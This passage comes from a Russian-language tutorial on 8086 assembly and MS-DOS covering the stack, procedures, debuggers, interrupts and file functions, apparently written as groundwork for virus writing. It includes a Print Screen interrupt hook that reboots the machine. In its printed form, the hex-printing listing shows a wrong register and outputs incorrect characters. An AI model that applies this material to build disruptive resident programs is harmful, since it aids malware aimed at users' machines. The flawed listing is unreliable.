                           POP  BX
                           POP  AX

В системе  команд  микропроцессоров  80286 и старше существуют
команды PUSHA и POPA, которые одномоментно сохраняют в стеке и
восстанавливают  сразу  весь  набор  регистров,  но  мы с вами
условились использовать только систему  команд микропроцессора
8086 ( см. п. 1.3. ).
    Для сохранения в стеке и  восстановления  регистра  флагов
существуют специальные команды PUSHF и POPF.
    Удобно использовать стек для того,  чтобы присвоить одному
сегментному регистру значение другого:

                           PUSH CS
                           POP  DS

    Вообще, в  целях  корректной  работы  программ  необходимо
следить за "равновесием стека",  т.е.  по окончании  программы
(или  ее  фрагмента  )  стек  должен  сохранять первоначальное
значение.В  крайнем  случае  этого   можно   добиться   прямым
изменением  содержимого  сегментных регистров,  но такой прием
весьма  опасен  и  не  может  быть  рекомендован   начинающему
программисту:

                           PUSH SI
                           PUSH DI
                             ...
                           ADD  SP,4

    Для передачи управления фрагменту программы  с последующим
возвращением  в исходную точку существует механизм процедур.Во
время выполнения команды вызова процедуры  CALL микропроцессор
сохраняет в стеке адрес возврата ( в виде СЕГМЕНТ:СМЕЩЕНИЕ или
просто СМЕЩЕНИЕ) и передает управление  процедуре.По окончании
выполнения  процедуры  командой RET из стека восстанавливается
прежнее значение адреса и  управление  передается  в  исходную
точку.Ecли процедура описывается как PROC FAR, то запоминаются
и восстанавливаются два регистра:  CS и IP,если как PROC NEAR,
то только счетчик команд IP. Пример использования процедуры:

                          MOV  AX,1
                          CALL ZEROAX
                  ААА:
                          CMP  AX,0
                          JE   DALEE
                          CALL ZEROAX
                  DALEE:
                          ...
                          ZEROAX PROC NEAR
                          MOV AX,0
                          RET
                          ZEROAX ENDP

    Поле выполнения команды CALL ZEROAX  управление передается
на метку ZEROAX,  в регистр АХ записывается 0, командой RET из
стека восстанавливается адрес команды,  следующей за  командой
СALL  и  выполняется  команда  CMP  AX,0.В  регистре AX теперь
находится число  0.Одну  и  ту  же  процедуру  можно  вызывать
сколько  угодно  раз,  что  видно  из дальнейшего рассмотрения
фрагмента программы.Кстати, попытайтесь понять, почему второго
вызова  процедуры  ZEROAX все-таки не произойдет,  хотя вторая
команда CALL в тексте фрагмента присутствует.
    Легко видеть,  что команда CALL функционально эквивалентна
следующей последовательности команд:

                         MOV Регистр,  OFFSET AAA PUSH Регистр
                         JMP ZEROAX
                   AAA:

    ,a команда RET:

                         POP  Регистр
                         JMP  Регистр

Этот факт часто используется для организации скрытых переходов
между фрагментами программы.Так,  перезагрузку  машины  (  ср.
2.1.5. ) можно выполнить следующим образом:

                         MOV  AX,0F000H
                         PUSH AX
                         MOV  AX,0FFF0H
                         PUSH AX
                         RETF

    Здесь использована    специальная   форма   команды   RET,
выталкивающая из стека два слова :  содержимое регистров IP  и
CS.Вообще,  чтобы  не возникало конфликтов между видом команды
CALL и видом команды RET ( сколько  слов  помещать  в  стек  и
сколько    восстанавливать   ),   автор   рекомендует   всегда
использовать специальные формы написания команды  RET  :  RETN
для IP и RETF для CS,IP.
    Существует особый  вид  процедур  -  процедуры   обработки
прерываний  (  см.  ниже  ).В  этом случае в стеке сохраняются
кроме адреса возврата еще  и  регистр  флагов.Вызов  процедуры
обработки   прерывания  производится  командой  INT,  в  конце
процедуры должна стоять команда IRET.
    Стандартные процедуры  MSDOS и BIOS обычно оформляются как
процедуры  обработки  прерываний.Например,  вызвать  процедуру
печати на экране символа,  код которого содержится в AL, можно
так:

                          MOV AL,'*'
                          INT 29H

    Специальное прерывание  20H служит для завершения программ
и передачи управления в MSDOS.

                    2.1.7. Прочие команды

Команда LOOP проверяет содержимое регистра СХ на  равенство 0.
Если   это   условие  соблюдается,  то  выполняется  следующая
команда,  в противном случае  выполняется  переход  на  адрес,
указанный    в   качестве   параметра   команды.Команда   LOOP
используется для организации цикла со счетчиком в регистре СХ:

                          MOV CX,10
                     METKA:
                             ...
                          LOOP METKA

    Команда XCHG    обменивает    местами   содержимое   своих
операндов, например:

                          XCHG AX,BX

    Команда XCHG AX,AX  ,как  нетрудно  видеть,  не  выполняет
никаких полезных действий, поэтому для нее введено специальное
обозначение:  NOP.  Команда NOP ,  как правило, используется в
качестве пустышки.
    Команды INC  и  DEC  прибавляют  и  вычитают  1  из  своих
операндов.Эти   команды  выполняются  несколько  быстрее,  чем
соответственные эквиваленты с ADD и SUB и коды их  занимают  в
памяти меньше места:

                      INC AX
                      DEC BYTE PTR [SI]

    Для обмена микропроцессора данными с внешними устройствами
используются  команды  IN  и  OUT.Это  так  называемые команды
обмена с портами ввода-вывода.

                   2.1.8. Пример программы

    В качестве примера рассмотрим программу печати в 16-ричном
формате  содержимого  регистра АХ.Ниже приведен так называемый
листинг программы, т.е. результат компиляции текста при помощи
транслятора MASM.Он содержит кроме собственно текста программы
также номера строк и числовые коды команд.
    Наберите текст  этой  программы ( разумеется,  без номеров
строк и кодов команд )  и  поместите  его,  например,  в  файл
PRINUM.ASM.Затем   для  подготовки  работоспособной  программы
выполните следующие команды MSDOS:

                         MASM PRINUM;
                         LINK PRINUM;
                         EXE2BIN PRINUM.EXE PRINUM.COM

    Если у  вас  имеется  компилятор  TASM,  то  к   тому   же
результату могут привести команды:

                         TASM PRINUM
                         TLINK PRINUM /T

    Если вы  запустите  получившуюся  в  результате  программу
PRINUM.COM,  то результатом ее работы должно быть появление на
экране компьютера 16-ричного числа 120АН.

                  CSEG SEGMENT
                  ASSUME CS:CSEG,DS:CSEG
 0100             ORG 100H
                  ; Головная программа
 0100            START:
 0100  B8 120A    MOV  AX,120AH  ; Это число
 0103  E8 0108 R  CALL PRINUM    ; Вызов процедуры печати
 0106  CD 20      INT  20H       ; Завершение программы
                  ; Процедура печати
 0108             PRINUM PROC NEAR
 0108  B9 0004    MOV  CX,4      ; Готовим 4-хкратный цикл
 010B  BB 0010    MOV  BX,16     ; Готовим делитель
 010E            CIRCLE1:
 010E  BA 0000    MOV  DX,0      ; Чистим старшее слово числа
 0111  F7 F3      DIV  BX        ; Выполняем операцию деления
 0113  52         PUSH DX        ; Помещаем в стек остаток
 0114  E2 F8      LOOP CIRCLE1   ; Выполняем цикл
                  ; Здесь цикл закончен, в стеке содержатся
                  ; остатки от деления на 16. Мы будем извле-
                  ; кать их в обратном порядке.
 0116  B9 0004    MOV  CX,4      ; Готовим 4-хкратный цикл
 0119            CIRCLE2:
 0119  5A         POP  DX        ; Извлекаем остатки из стека
 011A  80 FA 0A   CMP  DL,10     ; Это цифра или буква ?
 011D  73 06      JAE  D16       ; Если >=10, значит буквы A-F
                  ; Готовим цифры
 011F            D10:
 011F  80 C2 30   ADD  DL,'0'    ; Числа 0-9 переводим в цифры
 0122  EB 04 90   JMP  PRINTIT   ; На собственно печать
                  ; Готовим буквы
 0125            D16:
 0125  80 C2 37   ADD  DL,'A'-10 ; Числа 10-15 переводим в буквы
 0128            PRINTIT:
 0128  8A C6      MOV  AL,DH     ; Загружаем код символа в AL
 012A  CD 29      INT  29H       ; Печатаем его
 012C  E2 EB      LOOP CIRCLE2   ; Выполняем цикл
 012E  C3         RET            ; Возвращаемся в программу
 012F             PRINUM ENDP
   ;
 012F             CSEG ENDS
                  END START

    Для изучения работы программы попробуйте выполнить  ее  по
шагам, используя один из нижеописанных отладчиков.

               2.1.9. Использование отладчиков

    Для того,  чтобы  получить  прямой  доступ  к  командам  и
областям данных программы,  проследить за ходом ее выполнения,
существуют   специальные   программные   средства,  называемые
отладчиками.   Отладчики   позволяют   "заглядывать    внутрь"
программы  как  на  уровне  операторов  языка,  на котором эта
программа написана,  так и на уровне последовательности команд
микропроцессора.
    Для авторов программ на языке ассемблера ( в том  числе  и
для  авторов  вирусных  программ  ) умение владеть отладочными
средствами совершенно необходимо.
    Для работающих  под управлением MSDOS программ разработано
большое количество отладчиков с разными  возможностями: DEBUG,
TURBO DEBUGGER, AFD, SYSHELL и пр.

                    2.1.9.1 Отладчик DEBUG

    Этот отладчик  разработан фирмой MICROSOFT для включения в
состав  стандартных  утилит  операционной  системы   MSDOS   и
поэтому,  как  правило,  всегда находится на любой машине.  Он
отличается простотой использования,  но возможности его весьма
ограничены.Тем  не  менее,  для  исследования работы несложных
ассемблерных программ, каковыми и будут наши вирусы, отладчика
DEBUG вполне достаточно.
    Запустите отладчик командой

                     DEBUG Имя программы

    и увидите на черном фоне экрана знак '-' (минус).  Это так
называемый  промптер  ( подсказка ),  свидетельствующий о том,
что отладчик  ждет  ваших  команд.Команды  отладчику  подаются
набором с клавиатуры и завершаются нажатием клавиши ENTER.

    1) Команда  U позволяет пользователю просмотреть некоторое
количество ассемблерных команд, располагающихся в какой-нибудь
области памяти:

-u
15FF:0100 60            PUSHA
15FF:0101 B82135        MOV     AX,3521
15FF:0104 CD21          INT     21
15FF:0106 891EB301      MOV     [01B3],BX
15FF:010A 8CC3          MOV     BX,ES
15FF:010C 891EB501      MOV     [01B5],BX
15FF:0110 BB1000        MOV     BX,0010
15FF:0113 8EC3          MOV     ES,BX
15FF:0115 BE0001        MOV     SI,0100
15FF:0118 8BFE          MOV     DI,SI
15FF:011A 26            ES:
15FF:011B 803D60        CMP     BYTE PTR [DI],60
15FF:011E B9B700        MOV     CX,00B7

    В самых  левых  колонках  указываются  абсолютные   адреса
памяти  в  формате  СЕГМЕНТ:СМЕЩЕНИЕ,  в которых располагаются
команды ,  например 15FF:0100.По умолчанию  отладчик  начинает
показывать   команды   с   начала  запущенной  программы.Далее
размещаются  16-ричные   значения   байтов   этого   фрагмента
оперативной памяти,  и ,наконец, самые правые колонки занимает
изображение собственно ассемблерных команд.
    Можно указать   отладчику   конкретный   адрес  памяти,  с
которого он будет  производить  отображение  команд,  например
так:

                         U 0000:0000

    Но нужно   быть  уверенным,  что  в  этой  области  памяти
располагаются  именно  команды  микропроцессора.  Отладчик  не
умеет   отличать   команд   от  данных,  поэтому  он  "честно"
попытается представить содержимое указанной области памяти как
бессмысленную с нашей точки зрения последовательность машинных
инструкций:

-u 0:0
0000:0000 8A10          MOV     DL,[BX+SI]
0000:0002 1C01          SBB     AL,01
0000:0004 F4            HLT
0000:0005 06            PUSH    ES
0000:0006 7000          JO      0008
0000:0008 16            PUSH    SS
0000:0009 006903        ADD     [BX+DI+03],CH
0000:000C F4            HLT
0000:000D 06            PUSH    ES
0000:000E 7000          JO      0010
0000:0010 F4            HLT
0000:0011 06            PUSH    ES
0000:0012 7000          JO      0014
0000:0014 54            PUSH    SP
0000:0015 FF00          INC     WORD PTR [BX+SI]
0000:0017 F0            LOCK
0000:0018 29EB          SUB     BX,BP
0000:001A 00F0          ADD     AL,DH
0000:001C 7DEA          JGE     0008
0000:001E 00F0          ADD     AL,DH

    2) Команда D позволяет пользователю просмотреть содержимое
фрагмента  оперативной  памяти  именно  как  данные,  а не как
команды.Слева размещаются 16-ричные  значения  байтов  памяти,
справа - представление этих же байтов в виде текста:

-d 0:500
0000:0500 00 00 20 20 00 00 20 20-53 59 53 07 00 00 ..  ..  SYS
0000:0510 00 00 00 00 00 00 00 28-89 16 02 00 96 82 .......(...
0000:0520 4D 53 DF 02 25 02 12 1B-FF 54 F6 0F 08 00 MS..%....T.
0000:0530 00 00 00 00 00 00 00 00-89 16 13 00 12 92 ...........
0000:0540 43 4F 4D 4D 41 4E 44 20-43 4F 4D 20 00 00 COMMAND COM
0000:0550 00 00 00 00 00 00 49 82-E8 16 70 02 E5 BA ......I...p
0000:0560 4E 55 20 20 20 20 20 20-20 20 20 10 00 00 NU
0000:0570 00 00 00 00 00 00 78 4F-FB 1C 6A 1B 00 00 ......xO..j

    К сожалению,  сотрудники  фирмы  MICROSOFT посчитали,  что
текст может состоять только из латинских букв и  цифр. Поэтому
большинство  символов,  в  число  которых  попадают  и символы
русского алфавита, отладчик DEBUG отображает в виде точек.

    3) Команда R позволяет пользователю просмотреть содержимое
всех регистров ( включая регистр флагов ):

AX=3521 BX=0339   CX=00B8   DX=0000  SP=FFEE  BP=0000  SI=0000
DI=0000 DS=15FF ES=0B12 SS=15FF CS=15FF IP=010A NV UP EI PL NZ
NA PO NC 15FF:010A 8CC3 MOV BX,ES

    4) Команда T позволяет пользователю выполнить одну команду
процессора,остановиться после ее выполнения и выдать  на экран
содержимое всех регистров.

    5) Команда G позволяет запустить программу на выполнение с
возможностью прервать в заранее определенном месте.Это удобно,
так  как  программа  средних  размеров обычно состоит из тысяч
команд,  а пользователю достаточно  знать  о  работе  лишь  ее
малого фрагмента, возможно, размещенного в середине программы.
В таком случае подается команда

                           G Адрес

    и программа,  начинает  выполняться,  пока  не   достигнет
указанной точки:

-u
1563:03AA 50            PUSH    AX
1563:03AB 53            PUSH    BX
1563:03AC 52            PUSH    DX
1563:03AD 06            PUSH    ES
1563:03AE 57            PUSH    DI
1563:03AF 33C9          XOR     CX,CX
1563:03B1 8EC1          MOV     ES,CX
1563:03B3 33FF          XOR     DI,DI
1563:03B5 B82E12        MOV     AX,122E
1563:03B8 B200          MOV     DL,00
1563:03BA CD2F          INT     2F
1563:03BC 8C06B702      MOV     [02B7],ES
1563:03C0 893EB502      MOV     [02B5],DI
1563:03C4 B82E12        MOV     AX,122E
1563:03C7 B202          MOV     DL,02
1563:03C9 CD2F          INT     2F

-g 3BC

AX=122 BX=0000   CX=0000   DX=0000   SP=FFF2  BP=0000  SI=0000
DI=0C8C DS=1563 ES=0001 SS=1563 CS=1563 IP=03BC NV UP EI PL ZR
NA PE NC 1563:03BC 8C06B702 MOV [02B7],ES

    В данном примере команда G применена для запуска программы
с остановкой в точке  с  адресом  03ВСh,  сразу  после  вызова
стандартной  процедуры MSDOS,  пошаговый проход внутри которой
занял бы слишком много времени.

    6) Команда Q позволяет закончить работу с отладчиком.

               2.1.9.2.Отладчик TURBO DEBUGGER

    Отладчик TURBO  DEBUGGER  разработан   фирмой   BORLAND.Он
характеризуется    удобством    использования    и    богатыми
возможностями по отладке.
    Запустите отладчик командой

                       TD Имя программы

    и увидите на экране несколько цветных окон:

  Ё File Edit View Run Breakpoints Data Options Window Help
+=[ю]=CPU 80286===============================С=======1=[ ][ ]=+
|  cs:0100>60             pusha                  ax 0000   |c=0|
|  cs:0101 B82135         mov    ax,3521      ю  bx 0000   |z=0|
|  cs:0104 CD21           int    21           #  cx 0000   |s=0|
|  cs:0106 891EB301       mov    [01B3],bx    #  dx 0000   |o=0|
|  cs:010A 8CC3           mov    bx,es        #  si 0000   |p=0|
|  cs:010C 891EB501       mov    [01B5],bx    #  di 0000   |a=0|
|  cs:0110 BB1000         mov    bx,0010      #  bp 0000   |i=1|
|  cs:0113 8EC3           mov    es,bx        #  sp FFFE   |d=0|
|  cs:0115 BE0001         mov    si,0100      #  ds 5E17   |   |
|  cs:0118 8BFE           mov    di,si        #  es 5E17   |   |
|  cs:011A 26803D60       cmp    es:byte ptr [#  ss 5E17   |   |
|  cs:011E B9B700         mov    cx,00B7      #  cs 5E17   |   |
|  cs:0121 57             push   di              ip 0100   |   |
З ю########################################## +------------+---¶
|  ds:0000 CD 20 00 A0 00 9A F0 FE .  . ...   |  ss:0004 9A00  |
|  ds:0008 1D F0 E4 01 0D 25 AE 01 ..ф.       |  ss:0002 A000  |
|  ds:0010 0D 25 80 02 68 1F D6 10            |  ss:0000 20CD  |
|  ds:0018 01 01 01 00 02 FF FF FF ... ...    |  ss:FFFE>0000  |
+=============================================П===============-+

    Самое большое  окно  в  середине  экрана  содержит ( слева
направо ) адреса,  содержимое участка памяти и соответствующие
им  команды.Текущая  команда  ( та,  которая будет выполняться
следующей ) помечается слева стрелочкой.Кроме того,  на  одной
из  строк этого окна размещается цветная полоска-указатель.При
помощи клавиш-стрелок ее можно перемещать внутри окна,  а  при
помощи клавиши TAB - между окнами.
    Правее окна  команд  размещается  окно  регистров,  в  нем
отображаются их содержимое.
    Еще правее отображается содержимое  регистра  флагов.  Под
    окном команд размещается окно данных, содержащее
16-ричное и  символьное  представление   какого-либо   участка
памяти.
    В правом  нижнем  углу  экрана  размещается  окно   стека,
содержащее  адреса  ( слева ) и значения соответствующих ячеек
памяти.Вершина стека ( последнее записанное  в  стек  слово  )
помечается слева стрелочкой.
    Можно переключить окно команд,данных или стека на просмотр
других  областей  памяти.Для  этого  необходимо  клавишей  TAB
переместиться в соответствующее окно и нажать CTRL-G.На экране
появится   новое  небольшое  окошко  с  мигающим  внутри  него
курсором.  В позиции этого курсора  необходимо  набрать  новое
значение адреса и нажать ENTER.
    Пользователь имеет   возможность   пошагового   выполнения
программы  при  помощи  нажатий  клавиши F7.При этом синхронно
изменяются содержимые регистров и  областей  памяти  в  других
окнах отладчика. Нажимая F8 можно добиться приблизительно того
же эффекта,  только при этом будут "пропускаться"  подробности
выполнения вызываемых процедур и длинных циклов.
    При помощи клавиши F2 можно поставить/сбросить  в  позиции
полосы-указателя   так   называемую   контрольную   точку.Если
запустить программу на исполнение при помощи  нажатия  клавиши
F9,  то в контрольной точке произойдет останов ,и пользователь
сможет ознакомиться с содержимым регистров и памяти.
    Выйти из отладчика можно нажатием клавиш ALT-X.

                2.2. Программирование в MSDOS

           2.2.1. Как устроена операционная система

    Существует группа  совместимых операционных систем ( DRDOS
фирмы DIGITAL RESEARCH,  PCDOS фирмы IBM и пр. ), оригинальным
представителем  которой  является  MSDOS  фирмы  MIСROSOFT.Они
устроены,  в  общем,   одинаково,   и   различаются   лишь   в
деталях.Поэтому   мы   будем  рассматривать  некую  обобщенную
операционную систему с условным именем DOS.
    Операционная система DOS,  как и любая другая операционная
система,  решает при своей работе множество задач: запускает и
прекращает  выполнение  программ,  обеспечивает  распределение
машинных ресурсов ( памяти,  процессорного времени,  дискового
пространства и пр. ), поддерживает общение программ с внешними
устройствами и т.д.
    Она состоит из двух частей:
    - ядро DOS;
    - командный процессор.
    Основные функции операционной системы  возложены  на  ядро
DOS.Ядро    состоит   из   множества   стандартных   процедур,
реализующих  отдельные  операции  DOS,  к  которым   постоянно
обращается   сама   и   позволяет   обращаться  программам.Эти
процедуры,   как   правило,   организованы   как   обработчики
прерываний  (  см.  п.  2.1.6  ).На  диске ядро DOS хранится в
файлах,  имеющих имена  типа  IO.SYS  и  MSDOS.  SYS.Отдельные
необязательные  части  ядра содержатся в файлах драйверов типа
ANSI.SYS или HIMEM.SYS.
    Командный процессор    обеспечивает    интерфейс   DOS   и
пользователя.Он выполняет первичную загрузку программ в память
и  "заведует"  выполнением пользовательских команд,  таких как
COPY,  DIR и т.п.На диске командный процессор хранится в файле
COMMAND.COM.Справедливости  ради следует отметить,  что многие
фирмы производят для DOS свои  версии  командного  процессора,
подчас  гораздо  более  мощные  и  удобные.Например,  в состав
пакета  NORTON  UTILITIES  фирмы  SYMANTEC  входит   командный
процессор  NDOS,  предназначенный для замены COMMAND.COM.  При
загрузке ядро  DOS  постоянно  размещается  в  нижних  адресах
памяти  (  на  машинах  с процессорами старше 80286 существует
возможность разместить часть ядра в расширенной памяти ).

                  2.2.2. Понятие прерывания

    В процессе работы компьютера часто возникает необходимость
на  короткий промежуток времени прервать выполнение работающей
в данный момент  программы,  выполнить  какие-то  действия,  а
потом,  возможно,  вернуться  в  покинутую программу.Например,
нажав клавиши CTRL-ALT-DEL, можно в любой момент перезагрузить
компьютер,а  нажав  клавишу  PRINT SСREEN можно распечатать на
принтере содержимое экрана.
    Такая возможность   обеспечивается   благодаря   механизму
прерываний.Основная идея в том,  что  в  момент  возникновения
прерывания  в  стеке сохраняются регистр флагов и полный адрес
точки,  в которой программу застало прерывание.После отработки
необходимых  действий процессор восстанавливает регистр флагов
и возвращает управление по адресу из  стека,  что  гарантирует
безболезненное продолжение прерванной программы.
    Прерывание может вызываться многими  причинами:  нажатиями
клавиш,  особыми  ситуациями  во внешних устройствах и т.п.Это
так называемые внешние ( аппаратные )  прерывания.Кроме  того,
ситуацию   прерывания  можно  вызвать  искусственно,  выполнив
команду INT ( см. п. 2.1.6. ).
    Для каждого      прерывания      существует      некоторая
последовательность команд,  в выполнении которой и заключается
обработка   прерывания.Эта   последовательность,   как   ранее
отмечалось,  должна заканчиваться командой  IRET.В  простейшем
случае  процедура  обработки  прерывания состоит из одной этой
команды.
    В самой  нижней  области  памяти  размещается  специальная
таблица,  содержащая адреса  этих  процедур.Адрес  обработчика
прерывания  в  формате  СЕГМЕНТ:СМЕЩЕНИЕ  называется  вектором
прерывания.По адресу 0:0 размещается вектор  0-го  прерывания,
по адресу 0:4 - вектор 1-го и т.д. Посмотреть таблицу векторов
прерываний можно, например, при помощи команды D 0:0 отладчика
DEBUG  (  на  вашем  компьютере  значения  адресов  могут быть
другими ) :

-D 0:0
0000:0000 8A 10 23 01 F4 06 70 00-16 00 AE 03 F4 06 70 00
0000:0010 F4 06 70 00 54 FF 00 F0-43 EB 00 F0 EB EA 00 F0
0000:0020 F5 02 F3 0D AE 02 F3 0D-57 00 AE 03 6F 00 AE 03
0000:0030 0E 2F C8 05 9F 00 AE 03-B7 00 AE 03 F4 06 70 00
0000:0040 A2 03 49 09 4D F8 00 F0-41 F8 00 F0 74 07 70 00
0000:0050 39 E7 00 F0 FC 01 66 02-BC 08 E0 04 D2 EF 00 F0
0000:0060 00 E0 00 F0 2F 00 23 04-6E FE 00 F0 EE 06 70 00
0000:0070 53 FF 00 F0 A4 F0 00 F0-22 05 00 00 70 54 00 C0

    Обратите внимание,  как  размещаются  байты  :  2-й   байт
смещения,  1-й  байт  смещения,  2-й  байт сегмента,  1-й байт
сегмента.Это размещение характерно для организации  памяти IBM
PC.
    Теперь посмотрим,  как  выглядит,   например,   обработчик
прерывания 1СH ( вектор по адресу 0:70h ):

-U F000:FF53
F000:FF53 CF            IRET
F000:FF54 E905ED        JMP     EC5C
F000:FF57 0000          ADD     [BX+SI],AL
F000:FF59 284329        SUB     [BP+DI+29],AL
F000:FF5C 3139          XOR     [BX+DI],DI
F000:FF5E 3930          CMP     [BX+SI],SI
F000:FF60 41            INC     CX
F000:FF61 4D            DEC     BP
F000:FF62 49            DEC     CX
F000:FF63 2C34          SUB     AL,34
F000:FF65 3034          XOR     [SI],DH
F000:FF67 2D3236        SUB     AX,3632
F000:FF6A 332D          XOR     BP,[DI]
F000:FF6C 3831          CMP     [BX+DI],DH
F000:FF6E 3831          CMP     [BX+DI],DH
F000:FF70 97            XCHG    DI,AX
F000:FF71 AF            SCASW
F000:FF72 AF            SCASW

    Можно видеть, что на моей машине обработчик прерывания 1Сh
состоит из одной команды IRET.
    Каждое прерывание    имеет    свое    назначение.Например,
прерывания 1 и 3 часто используются отладчиками,  прерывание 5
осуществляет   печать   экрана,  прерывание  13h  отвечает  за
низкоуровневую работу с дисками,  прерывание 1Сh по запросу от
таймера  автоматически вызывается 18 раз в секунду, прерывания
20h - 2FH используются операционной системой и пр.
    Очень важную  роль  играет прерывание 21H.Обработчик этого
прерывания состоит из многих  десятков  процедур,  реализующих
возможности DOS.Для того, чтобы получить доступ к той или иной
возможности операционной системы, нужно поместить в регистр AН
номер этой возможности ( код функции ), в остальные регистры ,
возможно,  некоторые параметры,  и выполнить команду INT  21h.
После  выполнения  этой  процедуры  ,  возможно,  в  некоторых
регистрах  будут  возвращены   выходные   параметры.В   случае
неудачного выполнения процедуры,  как правило, устанавливается
в 1 бит CARRY регистра флагов,  а в регистре  АХ  возвращается
код   ошибки.Типичный   фрагмент  программы  с  вызовом  21-го
прерывания выглядит так:

                          MOV AH,...
                             ...
                          INT 21H
                          JC   ERROR
                       OK:
                             ...
                    ERROR:
                             ...

    Нередко возникает  необходимость  написать свой обработчик
( или его фрагмент ) для того или иного  прерывания.Для  этого
нужно  написать  процедуру  обработки  и  поместить ее адрес в
таблицу векторов прерываний.Эта операция выполняется  тоже при
помощи прерываний, вернее при помощи функции 25h прерывания 21
h.  Необходимо поместить в регистр AH число 25,  в регистр  AL
номер  переписываемого  (  перехватываемого  )  прерывания,  в
регистр DS сегмент нового обработчика,  в регистр DX  смещение
нового обработчика.
    Напишем новый  обработчик  для  5-го  прерывания,  которое
возбуждается при нажатии клавиши PRINT SCREEN.Пусть оно теперь
вместо печати экрана вызывает перезагрузку машины.
    Так как мы не нуждаемся в возврате в прерываемую программу
( перезагрузка !  ),  то обработчик не заканчивается  командой
IRET.Более того, для того, чтобы фокус с перехватом прерывания
получился,  необходимо зациклить главную программу,  иначе она
нормально завершится, и команды обработчика пропадут, а ведь в
таблице векторов  по-прежнему  останется  старый  адрес.  Это,
скорее  всего,  приведет  к повисанию машины.В нижеприведенной
программе  считается,  что  DS=CS,  т.е.  в  регистре  DS  уже
содержится сегментная часть адреса обработчика:

                   : Главная программа
                   START:
                         MOV  AH,25H
                         MOV  AL,05H
                         MOV  DX,OFFSET INT5
                         INT  21H
                   ; Фрагмент зацикливания
                   CYCLE:
                         JMP  CYCLE
                   ; Обработчик
                   INT5:
                         MOV  AX,0F000H
                         PUSH AX
                         MOV  AX,0FFF0H
                         PUSH AX
                         RETF

    Говоря о прерываниях,  следует еще  отметить  функцию  35h
прерывания  21h.Она возвращает в регистрах ES:BX текущий адрес
обработчика для указанного  в  регистре  AL  обработчика,  что
позволяет,  если  это  необходимо,  сохранять  старое значение
вектора перехватываемого прерывания.

                 2.2.3. Простейший ввод/вывод

    Трудно представить себе программу,  которая не общалась бы
с   "внешним   миром"   в   процессе  своей  работы.Рассмотрим
простейшие  средства,  которые  позволяют  программе   вводить
данные с клавиатуры и выводить на экран.
    Собственно процесс   работы   с   внешними    устройствами
достаточно   сложен,   поэтому  многие  операции  ввода/вывода
организованы в виде стандартных процедур DOS и BIOS и доступны
через механизм программных прерываний.
    Мы уже познакомились с прерыванием  29H  (  п.  2.1.6.  ),
которое  выводит  на  экран  символ,  код  которого  помещен в
регистр AL:
                          ...
                     MOV SI,OFFSET SLOWA
              CIRCLE:
                     MOV AL,BYTE PTR [SI]
                     CMP AL,0
                     JE  KONEC
                     INT 29H
                     INC SI
                     JMP CIRCLE
              KONEC:
                         ...
              SLOWA  DB  'ДУРАК!',0
                         ...

    В приведенном примере мы попытались вывести на экран целую
строку.Нам пришлось в цикле  считывать  по  букве  из  строки,
анализировать символы на конец строки и т.п.Для более простого
вывода строк существует функция 9 прерывания  21H.Ей необходим
адрес  строки в сегментах DS и DX ( cегмент и смещение ), сама
строка должна заканчиваться символом $:
                         ...
                     MOV  AH,9
                     MOV  DX,OFFSET SLOWA
                     INT  21H
                         ...
              SLOWA  DB   'САМ ДУРАК!$'
                         ...

    Существуют и другие способы вывода текста на экран,  в том
числе и разноцветных букв на  разноцветном  фоне.А  мы  сейчас
рассмотрим способы ввода информации с клавиатуры.
    Функция 01 прерывания 21H вводит с клавиатуры  один символ
и помещает его в регистр AL:
                        ...
                     MOV AH,01
                     INT 21H
                     MOV BYTE PTR SIMVOL,AL
                        ...
              SIMVOL DB  ?
                        ...

                   2.2.4. Работа с файлами

Достаточно часто  в  качестве  внешнего  устройства  программа
использует   дисковые  магнитные  накопители  -  винчестеры  и
дискеты.  Сами  исполняемые  программы   также   первоначально
хранятся на дисках,  откуда считываются операционной системой.
    Диски ( дискеты и винчестер ) разбиты на сектора  - своего
рода ячейки дисковой памяти, типичный объем сектора составляет
512 байт информации.Доступ  к  секторам  осуществляется  через
прерывание 13H (см. ниже).
    Файл данных может занимать  1  или  несколько  секторов.Он
может  размещаться  на диске не непрерывно;  например,  начало
файла - в последних секторах диска,  а  конец  -  в  первых  и
т.п.Каждому файлу для отличения от других и облегчения доступа
со    стороны    операционной    системы    придается    много
вспомогательной   информации   -   строка  имени  файла,  дата
последнего обновления,  атрибут и пр.  Часть этой информации о
файле  можно  увидеть,  например,  при помощи программы NORTON
COMMANDER.  Для того,  чтобы скрыть от  программы  подробности
работы  с диском во время доступа к файлам ( считывание/запись
секторов  по  прерыванию  13H,  поиск  в  таблицах   и   пр.),
существуют  стандартные  процедуры более высокого уровня,  чем
просто доступ к дисковому сектору.
    Функция 3DH  прерывания  21H  позволяет  открыть указанный
файл.  Она возвращает уникальный ключ ( хедер ), по которому к
этому файлу будут обращаться все другие функции.
    Функция 3СН прерывания 21Н позволяет создать  новый пустой
файл  и  немедленно  открыть  его.Она  также  возвращает хедер
файла.
    Функция 3Н прерывания 21Н закрывает файл, "отсоединяя" его
от хедера.
    Функции 3FH  и 40H прерывания 21Н позволяют соответственно
читать и писать блоки информации в открытый файл.
    Функция 42Н  прерывания  21Н позволяет переместить в файле
указатель,    т.е.    позицию,    в     которой     происходит
считывание/запись  информации.В  "свежеоткрытом" файле позиция
по  умолчанию  равна  0,  после  операций  чтения/записи   она
автоматически перемещается.
    Все эти  функции  DOS  в  случае   неудачного   выполнения
устанавливают  бит  CARRY  в  регистре флагов процессора в 1 и
возвращают в регистре АХ код возникшей ошибки.
    Приведем формальные правила вызова этих функций:

    3CH - Создать файл.
          Вызов:                        Ответ:
                AH:=3CH AX:=  хедер CX:= атрибут DS:DX:= адрес
                имени

    3DH - Открыть файл.
          Вызов:                        Ответ:
                AH:=3DH AX:= хедер AL:=способ обращения
                    к файлу:
                     0 - только чтение
                     1 - только запись
                     2 - чтение/запись
                DS:DX:= адрес имени

    3EH - Закрыть файл.
          Вызов:                        Ответ:
                AH:=3EH
                BX:=хедер

    3FH - Читать файл.
          Вызов:                        Ответ:
                AH:=3FH АН:=сколько прочитано BX:=хедер DS:DX:
                =адрес  заполненCX:=сколько байтов ного буфера
                    читать
                DS:DX:=адрес буфера
                       памяти

    40H - Писать файл.
          Вызов:                        Ответ:
                AH:=40H
                BX:=хедер
                CX:=сколько байтов
                    писать
                DS:DX:=адрес буфера
                       памяти

    42H - Переместить указатель в файле.
          Вызов:                        Ответ:
                AH:=42H (DX,AX):=установленная  AL:=код метода
                позиция BX:=хедер (CX,DX):=позиция

                Если AL=0, то позиция
                отсчитывается от начала
                файла, если 2 , то от
                конца файла, 1- от
                текущей позиции.

    Функцию 42Н  удобно  применять   для   определения   длины
